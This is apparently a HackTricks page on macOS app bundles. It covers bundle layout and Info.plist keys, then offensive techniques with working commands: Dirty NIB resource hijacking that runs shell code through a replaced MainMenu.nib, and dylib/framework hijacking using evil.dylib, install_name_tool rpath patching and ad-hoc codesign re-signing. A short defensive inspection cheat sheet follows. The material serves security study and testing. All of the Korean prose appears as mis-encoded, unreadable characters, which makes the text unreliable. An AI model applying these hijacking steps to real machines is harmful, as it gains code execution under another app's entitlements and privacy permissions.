macOS ๋ฒˆ๋“ค

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

macOS์˜ ๋ฒˆ๋“ค์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜, ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋ฐ ๊ธฐํƒ€ ํ•„์š”ํ•œ ํŒŒ์ผ์„ ํฌํ•จํ•œ ๋‹ค์–‘ํ•œ ๋ฆฌ์†Œ์Šค์˜ ์ปจํ…Œ์ด๋„ˆ ์—ญํ• ์„ ํ•˜๋ฉฐ Finder์—์„œ ๋‹จ์ผ ๊ฐ์ฒด๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค(์˜ˆ: ์ต์ˆ™ํ•œ *.app ํŒŒ์ผ). ๊ฐ€์žฅ ํ”ํžˆ ์ ‘ํ•˜๋Š” ๋ฒˆ๋“ค์€ .app ๋ฒˆ๋“ค์ด์ง€๋งŒ, .framework, .systemextension, .kext ๊ฐ™์€ ๋‹ค๋ฅธ ์œ ํ˜•๋„ ๋„๋ฆฌ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

๋ฒˆ๋“ค์˜ ํ•„์ˆ˜ ๊ตฌ์„ฑ์š”์†Œ

๋ฒˆ๋“ค, ํŠนํžˆ <application>.app/Contents/ ๋””๋ ‰ํ† ๋ฆฌ์—๋Š” ๋‹ค์–‘ํ•œ ์ค‘์š”ํ•œ ๋ฆฌ์†Œ์Šค๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค:

  • _CodeSignature: ์ด ๋””๋ ‰ํ† ๋ฆฌ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์ฆ์— ์ค‘์š”ํ•œ ์ฝ”๋“œ ์„œ๋ช… ์ •๋ณด๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ช…๋ น์–ด๋กœ ์ฝ”๋“œ ์„œ๋ช… ์ •๋ณด๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64
  • MacOS: ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ ์‹œ ์‹คํ–‰๋˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์‹คํ–‰ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.
  • Resources: ์ด๋ฏธ์ง€, ๋ฌธ์„œ, ์ธํ„ฐํŽ˜์ด์Šค ์„ค๋ช…(nib/xib ํŒŒ์ผ) ๋“ฑ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์‚ฌ์šฉ์ž ์ธํ„ฐํŽ˜์ด์Šค ๊ตฌ์„ฑ ์š”์†Œ๋ฅผ ์ €์žฅํ•˜๋Š” ์ €์žฅ์†Œ์ž…๋‹ˆ๋‹ค.
  • Info.plist: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ฃผ์š” ๊ตฌ์„ฑ ํŒŒ์ผ๋กœ, ์‹œ์Šคํ…œ์ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ ์ ˆํžˆ ์ธ์‹ํ•˜๊ณ  ์ƒํ˜ธ์ž‘์šฉํ•˜๊ธฐ ์œ„ํ•ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

Info.plist์˜ ์ค‘์š” ํ‚ค

Info.plist ํŒŒ์ผ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ตฌ์„ฑ์˜ ํ•ต์‹ฌ์œผ๋กœ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ‚ค๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค:

  • CFBundleExecutable: Contents/MacOS ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์žˆ๋Š” ์ฃผ์š” ์‹คํ–‰ ํŒŒ์ผ์˜ ์ด๋ฆ„์„ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.
  • CFBundleIdentifier: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•œ ์ „์—ญ ์‹๋ณ„์ž๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ, macOS์—์„œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ด€๋ฆฌ๋ฅผ ์œ„ํ•ด ๋„๋ฆฌ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • LSMinimumSystemVersion: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์‹คํ–‰์— ํ•„์š”ํ•œ ์ตœ์†Œ macOS ๋ฒ„์ „์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

๋ฒˆ๋“ค ํƒ์ƒ‰

์˜ˆ๋ฅผ ๋“ค์–ด Safari.app ๊ฐ™์€ ๋ฒˆ๋“ค์˜ ๋‚ด์šฉ์„ ํƒ์ƒ‰ํ•˜๋ ค๋ฉด ๋‹ค์Œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: bash ls -lR /Applications/Safari.app/Contents

์ด ํƒ์ƒ‰์„ ํ†ตํ•ด _CodeSignature, MacOS, Resources ๊ฐ™์€ ๋””๋ ‰ํ„ฐ๋ฆฌ์™€ Info.plist ๊ฐ™์€ ํŒŒ์ผ์ด ํ‘œ์‹œ๋˜๋ฉฐ, ๊ฐ๊ฐ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋ณดํ˜ธํ•˜๊ฑฐ๋‚˜ ์‚ฌ์šฉ์ž ์ธํ„ฐํŽ˜์ด์Šค ๋ฐ ๋™์ž‘ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ •์˜ํ•˜๋Š” ๋“ฑ ๊ณ ์œ ํ•œ ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค.

์ถ”๊ฐ€ ๋ฒˆ๋“ค ๋””๋ ‰ํ„ฐ๋ฆฌ

์ผ๋ฐ˜ ๋””๋ ‰ํ„ฐ๋ฆฌ ์™ธ์—๋„ ๋ฒˆ๋“ค์€ ๋‹ค์Œ์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • Frameworks: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๋ฒˆ๋“ค๋œ framework๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. Framework๋Š” ์ถ”๊ฐ€ ๋ฆฌ์†Œ์Šค๋ฅผ ๊ฐ€์ง„ dylib์™€ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค.
  • PlugIns: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ธฐ๋Šฅ์„ ํ™•์žฅํ•˜๋Š” ํ”Œ๋Ÿฌ๊ทธ์ธ ๋ฐ ํ™•์žฅ ๊ธฐ๋Šฅ์„ ์œ„ํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ์ž…๋‹ˆ๋‹ค.
  • XPCServices: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํ”„๋กœ์„ธ์Šค ์™ธ ํ†ต์‹ ์„ ์œ„ํ•ด ์‚ฌ์šฉํ•˜๋Š” XPC ์„œ๋น„์Šค๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.

์ด ๊ตฌ์กฐ๋Š” ํ•„์š”ํ•œ ๋ชจ๋“  ๊ตฌ์„ฑ ์š”์†Œ๊ฐ€ ๋ฒˆ๋“ค ๋‚ด์— ์บก์Аํ™”๋˜๋„๋ก ํ•˜์—ฌ ๋ชจ๋“ˆ์‹์ด๊ณ  ์•ˆ์ „ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํ™˜๊ฒฝ์„ ์กฐ์„ฑํ•ฉ๋‹ˆ๋‹ค.

Info.plist ํ‚ค์™€ ๊ทธ ์˜๋ฏธ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” Apple ๊ฐœ๋ฐœ์ž ๋ฌธ์„œ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: Apple Info.plist Key Reference.

๋ณด์•ˆ ๋…ธํŠธ ๋ฐ ์•…์šฉ ๋ฒกํ„ฐ

  • Gatekeeper / App Translocation: ๊ฒฉ๋ฆฌ๋œ ๋ฒˆ๋“ค์ด ์ฒ˜์Œ ์‹คํ–‰๋  ๋•Œ macOS๋Š” ์‹ฌ์ธต ์„œ๋ช… ๊ฒ€์ฆ์„ ์ˆ˜ํ–‰ํ•˜๊ณ  ๋ฌด์ž‘์œ„๋กœ translocated๋œ ๊ฒฝ๋กœ์—์„œ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋‹จ ์ˆ˜์šฉ๋˜๋ฉด ์ดํ›„ ์‹คํ–‰์—์„œ๋Š” ์–•์€ ๊ฒ€์‚ฌ๋งŒ ์ˆ˜ํ–‰๋˜์—ˆ๊ณ , ๊ณผ๊ฑฐ์—๋Š” Resources/, PlugIns/, nib ๋“ฑ ๋ฆฌ์†Œ์Šค ํŒŒ์ผ์ด ๊ฒ€์‚ฌ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. macOS 13 Ventura๋ถ€ํ„ฐ๋Š” ์ฒซ ์‹คํ–‰์—์„œ ์‹ฌ์ธต ๊ฒ€์‚ฌ๊ฐ€ ๊ฐ•์ œ๋˜๋ฉฐ ์ƒˆ๋กœ์šด App Management TCC ๊ถŒํ•œ์€ ์‚ฌ์šฉ์ž ๋™์˜ ์—†์ด ์ œ3์ž ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋‹ค๋ฅธ ๋ฒˆ๋“ค์„ ์ˆ˜์ •ํ•˜๋Š” ๊ฒƒ์„ ์ œํ•œํ•˜์ง€๋งŒ, ๊ตฌํ˜• ์‹œ์Šคํ…œ์€ ์—ฌ์ „ํžˆ ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค.
  • Bundle Identifier collisions: ์—ฌ๋Ÿฌ ์ž„๋ฒ ๋””๋“œ ๋Œ€์ƒ(PlugIns, helper tools)์ด ๋™์ผํ•œ CFBundleIdentifier๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๋ฉด ์„œ๋ช… ๊ฒ€์ฆ์ด ๊นจ์งˆ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋•Œ๋กœ๋Š” URLโ€‘scheme hijacking/confusion์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ญ์ƒ ์„œ๋ธŒ ๋ฒˆ๋“ค์„ ๋‚˜์—ดํ•˜๊ณ  ๊ณ ์œ ํ•œ ID๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

๋ฆฌ์†Œ์Šค ํ•˜์ด์žฌํ‚น (Dirty NIB / NIB Injection)

Ventura ์ด์ „์—๋Š” ์„œ๋ช…๋œ ์•ฑ์—์„œ UI ๋ฆฌ์†Œ์Šค๋ฅผ ๊ต์ฒดํ•˜๋ฉด ์–•์€ ์ฝ”๋“œ ์„œ๋ช…์„ ์šฐํšŒํ•ด ์•ฑ์˜ entitlements๋กœ ์ฝ”๋“œ ์‹คํ–‰์„ ์–ป์„ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ตœ์‹  ์—ฐ๊ตฌ(2024)์— ๋”ฐ๋ฅด๋ฉด ์ด๋Š” ์—ฌ์ „ํžˆ preโ€‘Ventura ๋ฐ ๊ฒฉ๋ฆฌ๋˜์ง€ ์•Š์€ ๋นŒ๋“œ์—์„œ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค:

  1. ๋Œ€์ƒ ์•ฑ์„ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์œ„์น˜(์˜ˆ: /tmp/Victim.app)๋กœ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค.
  2. Contents/Resources/MainMenu.nib(๋˜๋Š” NSMainNibFile์— ์„ ์–ธ๋œ ๋‹ค๋ฅธ nib)์„ NSAppleScript, NSTask ๋“ฑ์„ ์ธ์Šคํ„ด์Šคํ™”ํ•˜๋Š” ์•…์„ฑ nib๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.
  3. ์•ฑ์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์•…์„ฑ nib์€ ํ”ผํ•ด์ž์˜ ๋ฒˆ๋“ค ID ๋ฐ entitlements(TCC ๊ถŒํ•œ, ๋งˆ์ดํฌ/์นด๋ฉ”๋ผ ๋“ฑ)๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.
  4. Ventura+์—์„œ๋Š” ์ฒซ ์‹คํ–‰ ์‹œ ๋ฒˆ๋“ค์— ๋Œ€ํ•œ ์‹ฌ์ธต ๊ฒ€์ฆ์„ ์ˆ˜ํ–‰ํ•˜๊ณ  ์ดํ›„ ์ˆ˜์ •์„ ์œ„ํ•ด App Management ๊ถŒํ•œ์„ ์š”๊ตฌํ•จ์œผ๋กœ์จ ์ด๋ฅผ ์™„ํ™”ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ง€์†์„ฑ ํ™•๋ณด๊ฐ€ ๋” ์–ด๋ ค์›Œ์กŒ์ง€๋งŒ, ๊ตฌํ˜• macOS์—์„œ๋Š” ์ดˆ๊ธฐ ์‹คํ–‰ ๊ณต๊ฒฉ์ด ์—ฌ์ „ํžˆ ์œ ํšจํ•ฉ๋‹ˆ๋‹ค.

์ตœ์†Œ ์•…์„ฑ nib ํŽ˜์ด๋กœ๋“œ ์˜ˆ์‹œ (ibtool๋กœ xib๋ฅผ nib์œผ๋กœ ์ปดํŒŒ์ผ):

# create a nib that runs osascript -e 'do shell script "id"'
# ...build xib in Xcode, then
ibtool --compile MainMenu.nib MainMenu.xib
cp MainMenu.nib /tmp/Victim.app/Contents/Resources/
open /tmp/Victim.app

๋ฒˆ๋“ค ๋‚ด๋ถ€์˜ Framework / PlugIn / dylib Hijacking

@rpath ์กฐํšŒ๋Š” ๋ฒˆ๋“ค๋œ Frameworks/PlugIns๋ฅผ ์šฐ์„ ํ•˜๋ฏ€๋กœ, ์•…์„ฑ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ Contents/Frameworks/ ๋˜๋Š” Contents/PlugIns/์— ๋„ฃ์œผ๋ฉด ๋ฉ”์ธ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ library validation ์—†์ด ์„œ๋ช…๋˜์—ˆ๊ฑฐ๋‚˜ ์•ฝํ•œ LC_RPATH ์ •๋ ฌ์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ ๋กœ๋“œ ์ˆœ์„œ๋ฅผ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์„œ๋ช…๋˜์ง€ ์•Š์€/adโ€‘hoc ๋ฒˆ๋“ค์„ ์•…์šฉํ•  ๋•Œ์˜ ์ผ๋ฐ˜์ ์ธ ๋‹จ๊ณ„:

cp evil.dylib /tmp/Victim.app/Contents/Frameworks/
install_name_tool -add_rpath @executable_path/../Frameworks /tmp/Victim.app/Contents/MacOS/Victim
# or patch an existing load command
install_name_tool -change @rpath/Legit.dylib @rpath/evil.dylib /tmp/Victim.app/Contents/MacOS/Victim
codesign -f -s - --timestamp=none /tmp/Victim.app/Contents/Frameworks/evil.dylib
codesign -f -s - --deep --timestamp=none /tmp/Victim.app
open /tmp/Victim.app

์ฐธ๊ณ :

  • Hardened runtime์—์„œ com.apple.security.cs.disable-library-validation์ด ์—†์œผ๋ฉด ์„œ๋“œํŒŒํ‹ฐ dylibs๊ฐ€ ์ฐจ๋‹จ๋ฉ๋‹ˆ๋‹ค; ๋จผ์ € entitlements๋ฅผ ํ™•์ธํ•˜์„ธ์š”.
  • Contents/XPCServices/ ์•„๋ž˜์˜ XPC services๋Š” ์ข…์ข… sibling frameworks๋ฅผ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹คโ€”ํ•ด๋‹น binaries๋ฅผ persistence ๋˜๋Š” privilege escalation ๊ฒฝ๋กœ๋ฅผ ์œ„ํ•ด ์œ ์‚ฌํ•˜๊ฒŒ ํŒจ์น˜ํ•˜์„ธ์š”.

๋น ๋ฅธ ๊ฒ€์‚ฌ ์น˜ํŠธ์‹œํŠธ

# list top-level bundle metadata
/usr/libexec/PlistBuddy -c "Print :CFBundleIdentifier" /Applications/App.app/Contents/Info.plist

# enumerate embedded bundles
find /Applications/App.app/Contents -name "*.app" -o -name "*.framework" -o -name "*.plugin" -o -name "*.xpc"

# verify code signature depth
codesign --verify --deep --strict /Applications/App.app && echo OK

# show rpaths and linked libs
otool -l /Applications/App.app/Contents/MacOS/App | grep -A2 RPATH
otool -L /Applications/App.app/Contents/MacOS/App

์ฐธ๊ณ  ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ